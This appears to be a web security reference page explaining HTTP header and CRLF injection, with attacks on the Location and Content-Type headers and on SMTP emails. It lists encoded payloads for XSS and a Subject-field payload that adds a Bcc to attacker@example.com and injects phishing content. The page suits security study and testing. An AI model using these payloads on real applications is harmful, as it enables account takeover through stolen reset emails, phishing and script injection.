Header / CRLF Injection
Manipulate HTTP headers in your favor or insert completely new ones with even more control
HTTP is a plaintext protocol that works with Carriage Return (\r
) Line Feed (\n
) delimited headers. When user input lands in the response headers from an HTTP server, injecting these CRLF characters can result in some client-side attacks abusing headers.
Location
The Location
header in HTTP is used for redirecting to another page, which the browser will do when it gets a 3XX response. If your injection point lies in this header there are some useful tricks:
This is common for dynamic redirections and from data you control such as URL parameters, path parameters, or stored data. The context for this header matters a lot, especially what comes before your input. Open Redirect vulnerabilities are common here if you control a significant part:
If it is possible to inject CRLF characters, you can add more headers and even content to the response. With HTML content this may lead to XSS, but a tricky situation comes from the fact that the response is still redirecting. Modern browsers will not render the page, but simply follow the Location
header, ignoring your payload. We can get around this however in Firefox and Chrome if we have control over the start of the header (see these writeups):
With the above payloads, you can force the browser to stop redirecting and show the content instead. With the ability to insert newlines in the response you can give it a HTML body with XSS:
Chrome Payload: %0D%0A%0D%0A%3Csvg%20onload=alert()%3E
Firefox Payload: ws://anything%0D%0A%0D%0A%3Csvg%20onload=alert()%3E
Content-Type
You might find yourself with an injection into some header, where you would like to add two CRLF sequences and an HTML body to cause XSS. One header that might get in the way is the Content-Type
:
The above payload will not fire because browsers render these content types differently. Ideally, it would be text/html
. Using a header injection we can add another Content-Type
header after the one we want to overwrite, which will be chosen over the previous by browsers!
Payload: anything%0D%0AContent-Type:%20text/html
More tricks for [INPUT]
inside the existing Content-Type
header itself can be found in this writeup. It contains a trick to escape the HTML context if your payload in the body is limited.
SMTP
Just like HTTP, SMTP for sending emails is also a CRLF-delimited plaintext protocol with headers. These emails are often sent by applications automatically with information to you like a password reset or notifications. Such emails are often sensitive and if an attacker-controlled input can mess with the request it can get leaked, or malicious content can be injected.
A typical SMTP request looks like this:
A common place to inject is the RCPT TO:
SMTP header as this is where the email is sent to. By injecting CRLF characters, new headers like RCPT TO:attacker@example.com
to receive a copy of the email in your inbox (very dangerous for secrets like password reset tokens!).
More commonly you will also see an injection into the DATA
section where headers like Bcc
can be added to send a copy to yourself or add content to the email for an indistinguishable phishing attack. A common place is the Subject
or From
/To
headers:
Subject Payload: a%0D%0ABcc:%20attacker@example.com%0D%0A%0D%0A%3Ch1%3EPhishing!%3C/h1%3E
Last updated